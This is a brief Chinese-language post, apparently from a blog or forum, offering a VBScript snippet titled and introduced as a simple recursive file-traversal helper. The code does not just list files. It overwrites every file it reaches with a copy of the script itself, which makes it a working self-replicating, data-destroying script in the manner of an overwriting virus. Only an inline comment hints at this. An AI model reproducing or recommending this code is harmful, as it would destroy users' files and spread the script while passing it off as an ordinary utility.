VBS遍历文件

一下这段代码是我自己无聊是写的，希望对有用得上的人有帮助。

用处嘛，见标题。

dim fso '这一行可以不写

set fso = createObject("scripting.fileSystemObject")

sub traverse(address)

    set folder = fso.getFolder(address)

    Set folds = folder.subFolders

    Set files = folder.files

    for each file in files

        fso.copyfile wscript.scriptfullname,file.path '将自身覆盖遍历到的文件

    Next  
      
    for each fold in folds  

        call traverse(fold.path)

    Next  
      
end sub

call traverse("D:\test\") '文件地址自己改